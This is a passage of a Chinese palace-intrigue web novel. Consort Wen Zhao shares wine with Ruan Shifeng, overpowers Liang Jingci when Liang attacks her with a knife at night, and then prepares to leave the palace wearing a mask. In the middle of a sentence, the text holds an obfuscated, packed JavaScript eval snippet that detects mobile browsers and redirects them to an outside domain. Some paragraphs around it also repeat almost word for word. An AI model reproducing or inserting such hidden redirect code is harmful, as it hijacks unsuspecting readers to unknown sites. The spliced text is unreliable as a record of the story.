一个沉甸甸、金灿灿的东西,突然从半掩的雕花窗棂缝隙里被丢了进来,不偏不倚,砸在温招脚边的青砖地上,发出一声清脆又突兀的闷响。骨碌碌滚了两圈才停下,赫然是个足赤的金元宝。 温招:“……” 她清冷的视线从夜色中收回,缓缓下移,落在那枚闪瞎眼的金元宝上。眉梢几不可察地一挑。 几乎是金元宝落地的同时,那半掩的窗户外,传来一阵窸窸窣窣、压抑着气息的声响。紧接着,一颗脑袋小心翼翼地探了进来,乌发被夜风吹得有点乱,几缕不听话地贴在光洁的额角。正是阮时逢。 他扒着窗沿,动作带着点笨拙的“狗狗祟祟”,一双桃花眼在昏暗光线下亮得惊人,飞快地扫视殿内。当看到温招好端端坐在那里,目光平静地看着他,以及地上的金元宝时,他脸上立刻绽开一个灿烂又带着点青涩讨好的笑容,露出整齐的白牙。 “嘿!娘娘!没吓着您吧?”他压着嗓子,声音里是藏不住的兴奋,一边说,一边单手一撑窗台,动作说不上多潇洒但还算利落地翻了进来。落地时衣袍带起一阵微风,带来些许夜露的清凉气息。 他站稳后,第一件事不是看温招,而是眼睛发亮地四处张望:“青砚谣呢?”急切的样子,活像怕温招赖账。 温招的目光终于从金元宝移到他脸上,语气平淡无波,听不出情绪:“看来栖梧宫的侍卫又偷懒了。”她微微抬了抬下巴,指向地上那枚金元宝,“阮大人这是投石问路?” “啊?这个?”阮时逢像是才想起地上的东西,笑容顿时僵了一下,随即浮上一丝尴尬,抬手挠了挠头,“咳……那什么…见面礼……”声音明显弱了下去,眼神飘忽了一下,飞快瞥了温招一眼又垂下,耳根似乎有点不易察觉的热意。 温招没接话,只是看着他。那眼神清清冷冷,仿佛能穿透他那点拙劣的掩饰。阮时逢被她看得更不自在了,脚尖无意识地蹭了下地面,像是一只安静的小白猫,他刚想再说什么转移话题。 温招却忽然动了。她没再看地上的金元宝,也没继续追问那蹩脚的“见面礼”,而是转身走向内室角落一个不起眼的黑漆木柜。她动作干脆利落,打开柜门,从里面直接抱出两个沉甸甸、封口泥印古朴的墨青色酒坛。 “哐当。”一声,她将酒坛直接放在两人之间的矮几上,动作随意得如同放下两个普通瓦罐。 “喏。”她言简意赅。 阮时逢的眼睛瞬间直了,刚才那点尴尬和青涩瞬间被巨大的狂喜冲得无影无踪。他一个箭步就冲到了矮几边,像是怕酒坛长翅膀飞了,双手小心翼翼地捧起一坛,凑到鼻尖深深吸了一口气,脸上露出陶醉到近乎梦幻的表情。 “青砚谣!真的是青砚谣!”他声音都激动得有点抖,桃花眼亮得惊人,抬头看向温招时,那笑容灿烂又纯粹,带着毫不掩饰的感激和喜悦,“娘娘!您真是……太够意思了!”他抱着酒坛,仿佛抱着稀世珍宝,之前的“见面礼”窘迫早已被他抛到了九霄云外。 温招看着他这副没出息的样子,几不可闻地轻哼了一声,眼底却掠过一丝极淡的、几不可察的笑意。她随手拿起桌上备好的两个素瓷酒杯,放在矮几上。 “喝酒。”她声音依旧清冷,却比刚才少了点冰碴子。 “喝!必须喝!”阮时逢立刻响应,小心翼翼地放下酒坛,他没问温招是如何得来的青砚谣,毕竟温招能有窥天命法的下落,定然是与那传说中的万诡门有关系的。 阮时逢拍开封泥的动作带着一股子急切,浓郁醇厚的酒香瞬间逸散开来,充盈了整个偏殿角落。他深吸一口气,脸上是纯粹的满足,小心地抱起酒坛,先给温招面前的素瓷杯满上,深青色的酒液在杯中微微晃动。 “娘娘,您先请。”他难得正经了一瞬,双手捧着杯子递过去,眼神亮晶晶地看着她,带着点不易察觉的讨好和期待。 温招没说话,只是伸手接了过来。指尖不经意擦过他微凉的指节,阮时逢的手像是被烫到般猛地缩了回去,耳根那点热意似乎又蔓延开了些。他掩饰性地立刻抱起酒坛给自己也倒满,动作幅度大得差点洒出来。 “咳,好酒!”他仰头灌了一大口,辛辣醇厚的滋味滚过喉咙,激得他眯起了眼,随即是回甘的余韵,忍不住赞叹,“不愧是青砚谣!娘娘,您这路子,可真够硬的。” 温招没理会他话里的试探,只小口啜饮着杯中酒。她的姿态依旧清冷疏离,仿佛只是例行公事,但眼底深处那丝极淡的笑意并未散去。昏暗的光线下,素瓷杯衬得她的手指愈发白皙。 阮时逢抱着酒坛,像是抱着稀世珍宝,一边喝一边忍不住偷眼看她。殿内很静,只有两人偶尔吞咽酒液的细微声响和窗外偶尔掠过的风声。酒意微微上涌,驱散了初时的几分尴尬,也让他胆子大了些。 他还是第一次仔细打量温招的容颜。往日温招要么是带着那冷冰冰的面具,要么就是过于仓促,没来得及仔细打量。此刻在昏黄烛火与醇厚酒香里,她微垂着眼睫小口啜饮,侧脸线条清冷流畅,几缕碎发散在颊边,竟透出一种平日里绝无仅有的柔和。 阮时逢看得有点发怔,心里嘀咕:原来她不戴面具的时候……是长这样?好像……还挺好看的?他下意识又灌了一大口酒,试图压下心头那点莫名的鼓噪。酒是好酒,就是有点上头,烧得他脸颊发烫,看东西都好像带了层朦胧的柔光。 温招似乎察觉到他的视线,眼睫倏地抬起,清凌凌的目光直直看了过来。 “咳!咳咳咳……”阮时逢猝不及防,一口酒差点全呛进气管,顿时咳得惊天动地,脸瞬间憋得比刚才更红了,桃花眼里呛出了水光,狼狈不堪。他手忙脚乱地放下酒坛,胡乱地拍着自己胸口。 温招看着他咳得撕心裂肺、眼角泛红的模样,眉梢几不可察地动了一下。她没说话,只是将手边自己那杯没动过的清水往他面前推了推。 阮时逢如蒙大赦,一把抓过水杯咕咚咕咚灌下去,总算压住了喉咙里的痒意。他喘着气,抹了把嘴角的水渍,脸上还残留着狼狈的红晕,眼神飘忽不敢再看她,只盯着矮几上的酒坛花纹,小声嘟囔:“……这青砚谣,劲儿还挺大……” 温招没戳穿他,重新拿起自己的酒杯,指尖在冰凉的素瓷上轻轻点了点。 她看着对面青年那副恨不得把头埋进酒坛里的鸵鸟样,眼底深处那点极淡的笑意,似乎又深了那么一丝丝。 殿内重新安静下来,只剩某人略显急促的呼吸声,和窗外夜虫的低鸣。 “传闻温家有女,明丽不羁,容色倾城,一见倾心难忘。”阮时逢又摆出那风流的样子,贱兮兮的冲温招一笑。“初时,吾本弗信,今见之,果为名副其实之美人也。” 是啊,翩若惊鸿,婉若游龙。传闻中她温招身负朝阳命格,其生也,便较众人高出一筹。 温招垂眸看着杯中深青色的酒液,烛光在她低垂的眼睫下投下一小片浓密的阴影,遮住了所有情绪。她周身那点因酒意和方才阮时逢窘态而生出的、极淡的柔和气息,瞬间消散无踪,只剩下一种深沉的、近乎冰冷的沉寂。殿内仿佛一下子冷了几度。 阮时逢脸上的得意笑容僵住了,后半句赞美卡在喉咙里。他眨巴着桃花眼,有点懵。这反应……和他预想的不太一样啊?他夸得不够真诚?还是……用词太酸了? “……娘娘?”他试探性地叫了一声,声音不自觉地弱了下去,带着点小心翼翼,“您……怎么了?”他挠了挠头,脸上那点风流劲儿全变成了不知所措的茫然。 温招抬起眼。 那目光清清冷冷,像结了霜的湖面,看不出丝毫被赞美的喜悦,反而带着一种阮时逢看不懂的,沉甸甸的东西,像是透过他在看很远的地方。 “朝阳命……”她低声重复了一遍,声音轻得像叹息,又冷得像冰凌。指尖无意识地摩挲着光滑的杯壁。 阮时逢被她看得心里直发毛,背上汗毛都要竖起来了。他缩了缩脖子,感觉比刚才呛酒还难受。完了,好像……拍马蹄子上了?他脑子里飞快地转着:难道她不喜欢别人提这个?还是觉得他太轻浮了? “那个……我、我……”他张口结舌,舌头像打了结,刚才那点卖弄文采的劲儿消失得无影无踪,只剩下笨拙的慌乱,“我喝多了!胡说的!娘娘您别当真!您……您就当我放了个……”他急得差点说出不雅词,硬生生憋了回去,脸又涨红了,“……当我在胡说八道!” 他手忙脚乱地想去抱酒坛掩饰尴尬,结果动作太急,手肘“哐当”一声撞在矮几边缘,疼得他龇牙咧嘴,又不敢叫出声,只能憋着气,那模样滑稽又可怜。 温招看着他这副手忙脚乱、语无伦次的样子,眼底深处那点冰冷的沉郁似乎被冲淡了一丝。她没再说什么,只是端起酒杯,将杯中残酒一饮而尽。辛辣的酒液滚过喉咙,带来一阵灼热,却化不开心头那点骤然涌上的、关于“命格”的沉重与萧索。 殿内空气凝滞,只剩下阮时逢压抑着痛呼的抽气声。 温招放下空杯,目光重新落在他身上,那眼神依旧清凌凌的,却少了些方才的冷冽,多了点别的东西。她指尖在空杯沿上轻轻一叩,发出极轻的脆响。 “大人既唤了本宫小字,”她声音平淡,听不出情绪起伏,却让阮时逢心头猛地一跳,“本宫自然是要讨回来的。” 阮时逢正揉着撞疼的手肘,闻言动作瞬间僵住,桃花眼瞪圆了,一脸茫然:“……啊?讨、讨什么?”他脑子里还嗡嗡的,全是刚才搞砸了的赞美和撞桌子的糗态。 温招没说话,只是看着他。 阮时逢对上她的视线,呆滞了两秒,终于迟钝地反应过来。名字!他今早一不小心喊了她的名字!对哦,她还不知道他到底叫什么名字呢。毕竟某人一直告诉别人自己叫“阮柿子”…… 温招终于开口,声音平淡无波,“那本宫还是唤你柿子大人?” “别别别!”阮时逢差点跳起来,脸瞬间涨红,“娘娘您折煞下官了!”他慌忙摆手,动作幅度太大,差点又带翻旁边的酒坛,手忙脚乱地扶稳了,才哭丧着脸,认命般地垂下脑袋,声音细若蚊呐:“……阮时逢。偏我来时不逢春的时逢……”此刻的阮时逢像是只受了委屈的猫咪。 人道洛阳花似锦,偏我来时不逢春。 阮时逢……一个生来便没有春天的人。 “阮时逢。”温招重复了一遍,声音依旧平淡,听不出情绪 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“喝!当然喝!”阮时逢立刻响应,像是找到了台阶下,瞬间又活泛起来,之前的沉重尴尬仿佛被这名字一交换就烟消云散了。他赶紧抱起酒坛给自己倒满,又殷勤地给温招续上。 “娘娘的招字,可是登高而招,臂非加长也,而见者远的招?”阮时逢一边给温招续酒,一边故作潇洒地卖弄起文墨,试图挽回点方才丢掉的“风流才子”形象,桃花眼里闪着点狡黠的光。 温招没动,任由他倒满酒杯。深青色的酒液在杯中微微晃荡,映着跳跃的烛火。 就在阮时逢暗自得意,以为这次总算扳回一城时,温招却忽然动了。 她毫无预兆地站起身,动作干脆利落,带起一阵微小的气流。她身形高挑,此刻居高临下地看着还蹲在矮几旁、举着酒坛的阮时逢。 阮时逢被她这突如其来的动作惊得手一抖,酒坛差点脱手,赶紧抱紧,仰起头看她,脸上的得意瞬间凝固,变成纯粹的茫然和一丝不易察觉的紧张:“……娘娘?” 他蹲着的姿势本就显得弱势,此刻更像只受惊的小猫。 温招没说话,只是微微俯身,清冷的目光落在他脸上,距离比刚才近了不少。阮时逢甚至能清晰地看到她低垂的眼睫,和烛光下细腻得看不见毛孔的皮肤。 他身上那点残留的酒气和夜露的清凉气息,瞬间被温招身上更凛冽的、带着淡淡冷香的气息覆盖。 阮时逢的心跳猛地漏跳了一拍,随即疯狂擂鼓。他下意识地屏住呼吸,抱着酒坛的手臂都僵住了,连耳根那点红晕都忘了蔓延,只觉得一股热气直冲头顶,烧得他脑子有点懵。 他维持着仰头的姿势,喉结紧张地滚动了一下,眼神都不知道该往哪里瞟。 温招的目光在他僵硬的脸上停留了短暂的一瞬,仿佛只是随意打量,随即移开。 她弯腰,伸出两根白皙纤长的手指,轻松地从他脚边不远处,拈起了那枚沉甸甸、金灿灿的元宝。 “酒钱。”她直起身,将金元宝在掌心掂了掂,发出沉闷的金属声响,声音平淡无波,听不出情绪。 阮时逢:“……” 他呆呆地看着她手里那枚金光闪闪的元宝,再看看自己怀里抱着的酒坛,又看看温招那张近在咫尺、依旧没什么表情的绝美侧脸,脑子里一团浆糊。 酒钱?他用金元宝付酒钱?不对……重点好像是她刚才靠那么近只是为了捡元宝?! 他脸上表情精彩纷呈,从呆滞到羞窘再到一丝不易察觉的失落,最后全化成了懊恼。他阮时逢什么美人没见过!脸红什么!再说了……只是靠的近了些……近了些…… 他最终无奈地垂下脑袋,把发烫的脸颊贴在冰凉的酒坛壁上降温,闷闷地应了一声:“……哦。” 温招没再看他,随手将那枚元宝放在矮几一角,发出“嗒”的一声轻响。她重新坐下,端起自己那杯酒,小口啜饮,仿佛刚才那短暂的靠近和居高临下的审视从未发生。 阮时逢抱着酒坛,像抱着个救生圈,慢慢从地上站起来,只觉得脸上热度还没褪去,手脚都有些不听使唤。他再不敢卖弄,也不敢多待,胡乱地整理了一下衣襟,朝着温招的背影拱了拱手,声音还有点发飘: “娘娘……那、那下官告退!” 说完,几乎是同手同脚地奔向窗户,动作比来时更加笨拙,翻窗时还被窗棂绊了一下,踉跄着消失在夜色里,只留下窗外一声压抑的“哎哟”和衣袍带起的风声。 殿内彻底安静下来。 温招的目光扫过矮几上的金元宝,又落在窗外沉沉的夜色上。空气中浓郁的青砚谣酒香里,似乎还残留着一丝属于阮时逢的、带着点傻气的慌乱气息。她指尖无意识地摩挲着冰凉的杯壁,几不可闻地轻哼了一声。 人与人之间是不同的。 在有的人眼中,她的招是“娇。叙斜倚妆台亸翠翘。替花笑,红袖若为招”的招。 而在某人眼中,她的招是“登高而招,臂非加长也,而见者远”的招。 在有的人眼中,她温招是描眉画鬓的温婉女子,是后宫牢笼之中的菟丝花,是帝王的附属品。 而在那人眼中,她温招是是未来站在势力顶端的精英领率,是独立的个体,是值得让人花时间花心思去一点点探索、挖掘的宝藏。 他阮时逢言意之下,在欣赏她温招…… 18.018 弯月当空,栖梧宫死寂。惨白的月光从高窗渗进来,在地上投下冰冷的格子,殿内更深处是浓得化不开的墨色。值夜的宫人不知缩在哪个角落,连呼吸声都听不见。 “吱呀……” 后门被一股蛮力撞开,刺耳的声响撕裂了这片粘稠的寂静。一个白影跌了进来。 是个女子,一身素白寝衣,在昏暗的宫灯下白得刺眼。 长发散乱,遮了大半张脸,只露出一点惨淡的下颌轮廓。她脚步踉跄,仿佛踩在虚空里,深一脚浅一脚地往里扑,宽大的衣袂在身后飘荡,像失了魂的纸鸢。 月光恰好照在她身上,那影子拖得细长,扭曲地在地上游动,比她本人更像个活物。 一股阴冷的风紧随着她卷入殿内,带着夜露的寒气和一种说不清的、若有似无的腐朽味道。 她手里攥着一样东西,在昏暗中反射着一点幽光,是把匕首。刀尖向下,随着她踉跄的脚步,她脚踝上的铃铛,叮当作响。 那白影如同被无形的线牵引着,直扑向正殿深处那张华贵的床榻。寝殿内光线极暗,只能隐约看到锦被下起伏的轮廓。 她喉咙里发出嗬嗬的怪响,像是破旧的风箱,又像是压抑到极致的呜咽。攥着匕首的手高高扬起,惨白的皮肤下青筋虬结,带着一股决绝的疯狂,狠狠向下刺去。 寒光一闪。 “噗嗤!” 刀锋没入锦被的声音沉闷而清晰。 几乎是同时。 锦被猛地掀起,一道黑影快如鬼魅,从床榻内侧闪电般掠出,动作干脆利落,没有半分刚醒的迷蒙。 温招, 她根本没睡在床上。 掀起的锦被像一张大网,兜头盖脸地罩向那白衣疯妇。疯妇刺了个空,被锦被蒙住头脸,动作瞬间一滞,发出更加混乱的嘶吼。 温招没有丝毫停顿。她身形如电,欺身而上,一只手精准地扣住疯妇持刀的手腕,五指如铁钳般骤然发力。 “呃啊!”疯妇吃痛,手腕剧痛欲折,手指不由自主地松开。 “当啷!”匕首脱手,掉落在冰冷的青砖地上,发出清脆又刺耳的声响。 另一只手则闪电般探出,穿过散乱的长发,一把攥住疯妇的后颈,猛地向下一按,动作狠厉,带着不容反抗的力道。 疯妇被这股巨力压制,加上锦被蒙头,整个人如同被抽了骨头的蛇,踉跄着就要向前扑倒。 温招攥着她后颈的手纹丝不动,另一只扣住她手腕的手顺势向上一拧,同时膝盖重重顶在她后腰软肋。 “唔!”疯妇发出一声短促的闷哼,反抗的力道瞬间被卸去大半,整个人被温招以一种绝对压制的姿势,狠狠按跪在冰冷的青砖地上。 殿内死寂被彻底打破,只剩下疯妇被蒙在锦被下粗重、混乱的喘息,和脚踝上铃铛因剧烈挣扎而发出的叮当乱响。 温招居高临下,按着跪在地上的人影,散落的长发遮住了她大半张脸,只露出紧抿的、毫无血色的唇线。 她微微喘息着,眼神在昏暗的光线下冷得像冰,盯着锦被下那团扭动的白影,声音带着一丝刚睡醒的沙哑和冰冷的怒意:“抬头。” 她攥着梁静慈后颈的手微微加力。 锦被下扭动的身体猛地一僵,粗重的喘息声有片刻的凝滞。紧接着,是更剧烈的挣扎,伴随着从喉咙深处挤出的、意义不明的嗬嗬声,像是困兽最后的咆哮。 温招耐心告罄。她空着的手猛地探入锦被下,一把抓住梁静慈散乱潮湿的长发,毫不留情地向后一拽。 “呃啊!”一声凄厉得不似人声的尖叫刺破殿宇。 锦被被扯落。 惨淡的月光和昏黄的宫灯交织,照亮了那张被迫仰起的脸。 惨白,毫无血色,像糊了一层劣质的白垩。颧骨高耸,眼窝深陷得如同两个黑洞。嘴唇干裂,颜色是诡异的乌紫。但最骇人的是那双眼睛。 瞳孔缩成了针尖般细小的一点,周围是浑浊的、布满血丝的眼白,此刻正死死地向上翻着,几乎看不到黑色的部分,直勾勾地“瞪”着按住她的温招。 那眼神里没有恐惧,没有愤怒,只有一片混沌癫狂的死寂,深处却仿佛燃烧着某种非人的怨毒。嘴角咧开一个僵硬扭曲的弧度,像是在笑,又像是在无声地嚎哭。 梁静慈。 那是前不久死在佛堂里的梁婕妤的亲妹妹,宫里的流言说她疯了,现在看来,岂止是疯。 梁静慈被拽着头发,身体痛苦地后仰,喉咙里发出咯咯的怪响,四肢却仍在不受控制地抽搐,脚踝上的铃铛疯狂地叮当作响,在死寂的宫殿里敲打出令人心悸的节奏。 温招盯着那双翻白的、非人的眼睛,声音冷得掉渣,一字一句:“谁派你来的?” 她捏着梁静慈下巴的手指微微用力,“梁静慈,装疯卖傻,也得看地方。” 梁静慈像是根本没听见,依旧咧着那诡异的笑容,浑浊翻白的眼珠死死钉在温招脸上。忽然,她喉咙里嗬嗬的怪响猛地拔高,变成一种尖锐的、仿佛指甲刮过铁皮的嘶鸣。 “是你杀了姐姐!是你!”梁静慈嘶吼的声音如同夜枭啼哭,刺耳又怨毒,在空寂的大殿里回荡。那声音里的恨意浓烈得几乎化为实质,完全不像一个神志不清的疯子能发出的。 温招捏着她下巴的手指骤然收紧,力道大得几乎能捏碎骨头。 梁静慈的嘶吼瞬间被掐断在喉咙里,变成痛苦的呜咽,被迫仰起的脸上,那双翻白的、癫狂的眼睛死死盯着温招。 温招俯视着她,近在咫尺。 月光和宫灯映在她眼中,却化不开那深潭般的冰冷。她唇角极其缓慢地勾起一抹弧度,不是笑,是淬了毒的讥讽,带着一种居高临下的、近乎残忍的玩弄意味。 “哦?”她声音压得极低,带着刚睡醒的沙哑,却字字清晰,如同冰珠砸在玉盘上,“梁静慈,你看看你自己……”她微微歪了歪头,像在审视一件可笑又肮脏的东西,眼神里是毫不掩饰的轻蔑,“你现在比你那个蠢人姐姐的样子,还令人作呕。” 梁静慈浑浊的眼珠猛地一缩,喉咙里发出更激烈的“嗬嗬”声,身体疯狂扭动起来,脚踝上的铃铛响得如同催命。 温招的手像铁钳,纹丝不动地禁锢着她。那冰冷的、带着一丝玩味的目光,如同实质的刀锋,刮过梁静慈扭曲的脸。 “本宫杀的?”她嗤笑一声,那笑声又轻又冷,在死寂的大殿里格外刺耳,“谁告诉你的?你姐姐死的那日晚上,本宫承召侍寝,陛下看着,这脏水是你说泼就泼的?” 她捏着梁静慈下巴的手猛地向上一抬,迫使那张癫狂的脸完全暴露在昏暗的光线下,让那翻白的眼珠和乌紫的嘴唇无处遁形。 上一世,温招在位时,这两姐妹就使绊子,直到她被打入冷宫,两人还时常去奚落,她们嫉妒温招那张脸,嫉妒的发狂…… 梁静慈身体剧烈地一颤,喉咙里的嗬嗬声陡然变调,翻白的眼珠深处似乎闪过一丝被戳中心事的、更深层的恐惧。 温招捕捉到了,唇角那抹冰冷的弧度加深。她不再看地上这团污秽,目光扫向殿内最深沉的阴影角落,声音不高,却带着不容置疑的命令,清晰地穿透死寂: “魑惊,去请陛下。”她顿了顿,冰冷的视线落回梁静慈因恐惧而微微抽搐的脸上,如同宣判,“就说……梁选侍夜闯栖梧宫,持刀行刺本宫,人赃并获,请陛下来看看……这‘疯子’的真面目。” 角落里那片浓得化不开的黑暗似乎无声地涌动了一下,没有回应,也没有任何气息波动,仿佛只是光影的错觉。但殿内弥漫的阴冷之气,似乎更重了一分。 梁静慈像是终于听懂了“陛下”二字,身体猛地僵直,随即爆发出比之前更剧烈的、濒死般的挣扎和嘶鸣,浑浊的眼里充满了真正的、源自骨髓的恐惧。 温招松开手,任由她烂泥般瘫软在地,抽搐呜咽。她直起身,居高临下地睥睨着,眼神冰冷如霜,带着一丝厌倦,仿佛在看一场即将落幕的、肮脏的闹剧。 她甚至懒得再看地上的匕首一眼,只随意地拂了拂袖口并不存在的灰尘。 殿内只剩下梁静慈破碎的呜咽和铃铛绝望的叮当声。 没过多久,殿外由远及近传来一阵急促而沉重的脚步声,伴随着内侍尖细的通传: “陛下驾到!!!” 明黄的衣角裹挟着夜露的寒气,猛地闯入栖梧宫死寂的大殿。 常青只披着一件明黄寝衣,外袍显然是匆忙间胡乱披上的,衣带甚至有些松散。他脸色苍白,眼底带着未褪尽的惊悸和刚被惊醒的混沌,显然白日里的惊吓还未平复。 他脚步急促,却在踏入殿门的瞬间猛地顿住。 目光如电,瞬间扫过殿内。 瘫软在地、状若疯魔、涕泪横流的梁静慈,散落一旁闪着幽光的匕首,以及站在阴影深处,神情冰冷,连发丝都未曾乱一分的温招。 常青的目光在殿内狼藉上扫过,最终定格在温招身上。看到她完好无损地站在那里,他紧绷的肩背似乎微不可察地松了一瞬,随即迈开大步,几乎是小跑着冲到温招面前,完全无视了地上嘶鸣挣扎的梁静慈。 他伸手就想去抓温招的手臂,声音带着刚醒的沙哑和未平的惊悸:“你怎么样?可有伤到?” 动作急切,眼神在她身上飞快逡巡,试图寻找任何一丝伤痕或凌乱。 温招在他手指即将碰到自己衣袖的瞬间,极其自然地、不着痕迹地向后退了半步,恰好避开了他的触碰。 她微微垂眸,避开了常青焦灼的视线,声音清冷平静,听不出丝毫波澜:“陛下放心,臣妾无事。” 她甚至抬手理了理本就一丝不乱的袖口,仿佛刚才那场惊心动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018300|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魄的刺杀,不过是拂去了一点微尘。 常青的手僵在半空,抓了个空。他看着温招这副冰冷疏离、拒人千里的模样,再看看地上状若疯魔的梁静慈,白日里那种被无形恐惧缠绕的无力感和此刻的挫败感交织在一起,脸色更加难看。 “……无事便好。”他有些僵硬地收回手,声音沉了下去,带着一丝不易察觉的愠怒和疲惫。他不再看温招,目光转向地上那个仍在嘶鸣的源头,眼神阴沉得能滴出水。 梁静慈像是抓住了救命稻草,朝着常青的方向拼命挣扎,浑浊的眼里充满了绝望的哀求:“陛下!陛下救我!她是邪祟!她杀了我姐姐!!陛下!!!” 温招静静地站在一旁,冷眼旁观,如同置身事外的看客。 常青被这尖利的指控刺得耳膜生疼,那日佛堂的阴冷记忆瞬间翻涌,让他本就苍白的脸色更添一层青灰。他看着地上那癫狂扭曲的人影,再看看一旁冷若冰霜、仿佛不沾丝毫尘嚣的温招,心头那股被无形之物缠绕的恐惧和烦躁猛地炸开。 “住口!信口雌黄!”他猛地暴喝一声,声音因惊怒而拔高,带着帝王的威压,“那日温良妃与朕在一起!怎会残害梁婕妤!” 温招和常青都清楚,常青认定了此事是赵灵汐所为,只是不愿再将此事提起,偏偏这时候来了一个哪壶不开提哪壶的。 梁静慈像是抓住了救命稻草,朝着常青的方向拼命挣扎,浑浊的眼里充满了绝望的哀求:“陛下!陛下救我!她是邪祟!她杀了我姐姐!!陛下!!!” 常青被这尖利的指控刺得耳膜生疼,那日佛堂的阴冷记忆瞬间翻涌,让他本就苍白的脸色更添一层青灰。他看着地上那癫狂扭曲的人影,再看看一旁冷若冰霜、仿佛不沾丝毫尘嚣的温招,心头那股被无形之物缠绕的恐惧和烦躁猛地炸开。 “住口!信口雌黄!”他猛地暴喝一声,声音因惊怒而拔高,带着帝王的威压,“那日温良妃与朕在一起!怎会残害梁婕妤!”他下意识地将矛头转向自己认定的方向,却又绝口不愿再提那个名字。 温招静静地站在一旁,冷眼旁观,如同置身事外的看客。常青的暴怒和刻意回避,在她眼中不过是场可笑的戏码。 梁静慈被常青的怒喝震得瑟缩了一下,随即爆发出更凄厉的哭嚎:“是真的!陛下!姐姐……姐姐她托梦给我了!就在她死的那个晚上!梦里有个看不清脸的人告诉我的!他说……他说就是温招这个贱人害死了她!!!陛下!您信我啊!”她涕泪横流,声音嘶哑,试图爬向常青的脚边。 “一派胡言!疯妇!”他猛地拂袖,动作大得差点带倒旁边的灯架,声音带着压抑不住的戾气和一丝不易察觉的惊惶,“妖言惑众!来人!” 殿外候命的侍卫立刻冲了进来。 “把她给朕拖下去!”常青指着地上涕泪横流、犹在嘶喊“托梦”的梁静慈,声音冰冷刺骨,“打入冷宫!没有朕的旨意,永世不得出!让她在里面好好‘做梦’!” “陛下!!!!我说的是真的!!!!托梦!是托梦啊……!”梁静慈被两个孔武有力的侍卫架起,双脚离地,犹自疯狂地踢蹬哭喊,脚踝上的铃铛发出绝望混乱的脆响。她那双浑浊翻白的眼睛死死盯着常青,又怨毒地剜向温招,充满了不甘和诅咒。 侍卫们毫不留情,拖着她迅速消失在殿门外。那凄厉的哭喊和铃铛声,在冰冷的宫廊里回荡,渐渐远去,最终被沉沉的夜色吞噬。 殿内重新陷入死寂,只剩下地上散落的锦被和那把闪着幽光的匕首,证明着方才的混乱。 常青胸膛起伏,显然余怒未消,更多的是一种摆脱了麻烦和疯言的疲惫虚弱。他下意识地又想去看温招,想从她那里得到一点……哪怕只是虚假的安抚。 温招却已先一步微微屈膝,声音清冷无波,如同殿外渗进来的月光:“陛下受惊了。夜已深,请陛下保重龙体,早些安歇。”她垂着眼睫,姿态恭敬却疏离,逐客之意再明显不过。 常青看着她又恢复了这副冰冷的面具,再看看殿内的一片狼藉,白日里那种被人拒之千里的无力感再次涌上心头。他张了张嘴,最终什么也没说,只是深深地、带着一丝复杂难言的疲惫看了温招一眼,转身离开。 “摆驾……”常青的声音带着压抑的落寞和虚弱无力。 他的衣角裹着夜露的寒气,仓促地消失在栖梧宫门口,留下更深的死寂。 温招缓缓直起身,目光扫过空荡的殿门,又落在地上那柄孤零零的匕首上。梁静慈最后嘶喊的“托梦”二字,在她嗅到了一丝危险,这件事断然不会是巧合这么简单,估计是有人找到了什么,或发现了什么,当然这些只是温招的猜测罢了。 宫墙压夜沉如凝墨,窒息覆苑。白日金碧殿宇隐入黑暗,唯余轮廓如兽骨,森然蹲伏暗夜,深宫慢慢,可这次,她温招不再是一个人…… 19.019 次日清晨,天光微熹,透过高窗渗入栖梧宫,驱散了昨夜残留的阴冷,却带不来多少暖意。 温招对镜而坐。 铜镜里映出一张清绝冷艳的脸,肤色在晨光里白得近乎透明。她动作不疾不徐,用沾湿的软巾擦拭着手指,一根一根,从指尖到指根,细致得如同拂去什么看不见的尘埃。水是凉的,指尖也是凉的。 她放下软巾,目光投向窗外宫墙的西北角。 那里是冷宫的方向,深藏在重重宫阙最阴冷的角落。 “魑惊。” 魑惊正站在温招身旁,帮她捋发的手顿了一下,闻声抬头。 “栖梧宫可有红线?”温招指尖轻叩妆台,铜镜映出她毫无波澜的眼睛。 “自然是有的,娘娘稍等,奴婢去找。” 她放下手中的玉梳,转身走向殿内一侧存放杂物的檀木立柜,动作无声而利落。 片刻,魑惊返回,手中捧着一个巴掌大的螺钿小盒。盒盖打开,里面整整齐齐盘着一卷色泽鲜亮、触手柔韧的丝线。 正是红线。 温招的目光终于从镜中移开,落在那卷红线上。她伸出两根手指,极其小心地将线头捻起,指尖微凉,触碰到那温润的丝线。 “够韧么?”她问,声音平淡无波。 魑惊垂眸看着那线:“回娘娘,这是上好的南疆血蚕丝捻成,浸过朱砂雄黄,是陛下前几天送来的。” 温招指尖捻着那一点鲜红,在晨光下细细端详,如同审视一件即将上阵的兵器。她没再多问,只是极轻地点了下头。 “取一丈二尺。” “诺。” 魑惊没有多问一句,立刻依言行事。她指尖灵巧地牵引着那鲜亮的红线,动作精准无声,不多不少,丈二之数便已裁好,双手奉上。 温招接过那卷鲜红的丝线。血蚕丝在晨光下泛着冷硬的光泽,如同凝固的血痕。她指尖缠绕着线头,感受着那坚韧的质感,眼神沉静无波。 她没再看铜镜,起身走向内室角落一个不起眼的乌木匣子。匣子打开,里面静静躺着一张冰冷的物事,正是那日在宫外市集得来的银色面具。 温招拿起面具,指腹划过冰凉的金属表面,没有任何迟疑,将其覆在脸上。冰冷的触感瞬间贴合皮肤,隔绝了原本清绝的容颜,只留下一片毫无情绪的银白,和面具孔洞后那双更显幽深冰冷的眸子。 魑惊垂手侍立一旁,对此情此景似乎早已司空见惯。 戴上面具的温招,周身气息骤然一变。不再是那个对镜梳妆的宫妃,更像一把出鞘的、裹着寒霜的利刃。她将那卷丈二红线随意地收拢在掌心,动作干脆利落。 “走。”面具下传出的声音,比平日更添一层金属般的冷硬与漠然。 “诺。”魑惊低声应道,没有丝毫迟疑,立刻转身引路。 她没有走向栖梧宫的正门,而是引着温招穿过几重垂落的纱幔,来到宫殿后方一处极其隐蔽的角门。门扉陈旧,推开时只发出轻微的“吱呀”声,外面是一条狭窄得仅容一人通过的夹道。 